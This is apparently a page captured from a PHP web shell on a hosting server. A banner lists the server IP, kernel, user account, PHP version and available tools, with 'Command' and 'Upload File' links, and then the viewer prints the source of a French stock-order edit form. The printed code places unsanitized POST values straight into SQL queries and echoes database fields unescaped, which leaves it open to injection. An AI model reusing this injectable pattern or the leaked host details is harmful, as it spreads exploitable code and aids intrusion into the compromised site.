|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// echo "yassin <br/>" ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// print_r($_POST) ;
$_GET["edit"]=$_POST['rowid'] ;
$no=1;
$message = false;
$edit = '';
$check_in = '';
$produit_arr = array();
$fournisseur = array();
$counter = 0;
if(isset($_GET["edit"])){
$edit = $_GET["edit"];
$select = "SELECT * FROM check_in where id='$edit'";
$result = mysqli_query($conn,$select);
$check_in = mysqli_fetch_row($result);
}
// echo "<pre>" ;
// print_r($check_in) ;
// echo "</pre>" ;
//where status ='pending'
$select = "SELECT * FROM fournisseur";
$fournisseur = mysqli_query($conn,$select);
$select = "SELECT * FROM produits";
$produit = mysqli_query($conn,$select);
while ($row = mysqli_fetch_array($produit)) {
$produit_arr[] = $row;
}
?>
<div class="modal-header task-single-header" data-task-single-id="5" data-status="4">
<h4 class="modal-title">Modifier Commande <?php echo $prestationid ;?></h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form role="form" id="add" name="add" method="post" enctype="multipart/form-data" action="">
<div class="card-body">
<?php
echo'<input type="hidden" name="modifier" value="modifier">';?>
<input type="hidden" name="edit" id="edit" value="<?php echo $check_in[0] ?>">
<div class="form-row">
<div class="form-group col-md-3">
<label for="Date">Date: <?php echo $check_in[1]; ?></label>
<input type="date" class="form-control" id="date" value="null" placeholder="Enter title" name="date">
</div>
<div class="form-group col-md-3">
<label for="Reference">Référence</label>
<input type="text" class="form-control" value="<?php echo $check_in[2] ?>" id="reference" placeholder="Enter reference" name="reference" required>
</div>
<?php
$select = "SELECT * FROM fournisseur";
$fournisseur = mysqli_query($conn,$select);
$loc = dbi_query("SELECT * FROM `Lieu_de_stockage`") ;
?>
<div class="form-group col-md-3">
<label for="Supplier">Fournisseur</label>
<select class="form-control" id="supplier" name="supplier">
<option value="null">Sélectionner Fournisseur</option>
<?php
while ($row = mysqli_fetch_array($fournisseur)) {
if($check_in[3] == $row["Fournisseur_ID"]){
echo "<option value='".$row["Fournisseur_ID"]."' selected>".$row["Fournisseur_Nom"]."</option>";
}else{
echo "<option value='".$row["Fournisseur_ID"]."'>".$row["Fournisseur_Nom"]."</option>";
}
}
?>
</select>
</div>
<div class="form-group col-md-3">
<label for="local">stock </label>
<select class="form-control" id="local-storage" name="local-storage">
<option value="null">lieu de stockage</option>
<?php
while($localo = dbi_fetch_row($loc)) {
?>
<option value="<?php echo $localo['lieu_de_stockage_nom'] ?>" <?php if($check_in[4] == $localo['lieu_de_stockage_nom']) echo "selected"?> ><?php echo $localo['lieu_de_stockage_nom'] ?></option>
<?
}
?>
</select>
</div>
<div class="form-group col-md-12">
<label for="add-item">Ajouter Produit</label>
<select onchange="selectChange()" class="form-control js-example-basic-single" id="product" placeholder="Add Item" name="product" required>
<option value="null">Sélectionner Produit</option>
<?php
foreach ($produit_arr as $k => $val) {
echo "<option value='".$produit_arr[$k]["Produit_ID"]."'>".$produit_arr[$k]["Produit_Designation"]."</option>";
}
?>
</select>
</div>
<div class="form-group col-md-12">
<table id="myTable" class="table order-list table-bordered table-striped">
<thead>
<tr>
<td>Description</td>
<td>Quantity</td>
<td><i class="fa fa-trash"></i></td>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<?php
$c_id = $check_in[0];
$query = "SELECT * FROM product_command WHERE check_in_id='$c_id'";
$resu = mysqli_query($conn,$query);
while($row2 = mysqli_fetch_array($resu)){
?>
<tr>
<td>
<input type="hidden" class="form-control" value="<?php echo $row2[2]; ?>" readonly name="product[]"/><p>
<?php
foreach ($produit_arr as $k => $val) {
if($row2[2] == $produit_arr[$k]["Produit_ID"]){
echo $produit_arr[$k]["Produit_Designation"];
}
}
?>
</p>
</td>
<td>
<input type="number" class="form-control" value="<?php echo $row2[3]; ?>" name="quantity[]"/>
</td>
<td>
<span style="cursor:pointer;"><i id="ibtnDel" name="ibtnDel" class="ibtnDel fa fa-trash"></i></span>
</td>
</tr>
<?php
$counter++;
}
?>
<tr>
</tr>
</tfoot>
</table>
</div>
<div class="form-group col-md-12">
<label for="inputAddresse">Note</label>
<textarea id="note" name="note" class="textarea" placeholder="Place some text here"
style="width: 200px; height: 200px; font-size: 20px; line-height: 20px; border: 1px solid #dddddd; padding: 10px;"> <?php echo $check_in[7]; ?></textarea>
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
<button type="submit" name="submitbtn" class="btn btn-primary">Enregistrer</button>
</div>
</form>
<script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
bsCustomFileInput.init();
});
</script>
<script src="../../plugins/summernote/summernote-bs4.min.js"></script>
<script>
$(function () {
// Summernote
$('.textarea').summernote()
})
</script>
<script>
$(document).ready(function() {
$('.js-example-basic-single').select2();
});
$(function () {
$("#tables").DataTable();
$('#example').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": false,
"info": true,
"autoWidth": false
});
});
// $("#product").change( function() {
// alert($("#product").val());
// });
$(document).ready(function () {
var counter = 0;
$("#product").on("change", function (e) {
var id = $("#product").val()
var name = $('#product').find(":selected").text();
var newRow = $("<tr>");
var cols = "";
cols += '<td><input type="hidden" class="form-control" value="'+id+'"" readonly name="product[]"/><p>'+name+'</p></td>';
cols += '<td><input type="number" class="form-control" value="1" name="quantity[]"/></td>';
cols += '<td><span style="cursor:pointer;"><i id="ibtnDel" name="ibtnDel" class="ibtnDel fa fa-trash"></i></span></td>';
newRow.append(cols);
$("table.order-list").append(newRow);
counter++;
$("#product").select2("close");
});
$("table.order-list").on("click", ".ibtnDel", function (event) {
$(this).closest("tr").remove();
counter -= 1
});
});
function calculateRow(row) {
var price = +row.find('input[name^="price"]').val();
}
function calculateGrandTotal() {
var grandTotal = 0;
$("table.order-list").find('input[name^="price"]').each(function () {
grandTotal += +$(this).val();
});
$("#grandtotal").text(grandTotal.toFixed(2));
}
//$('#product').selectize('option');
</script>
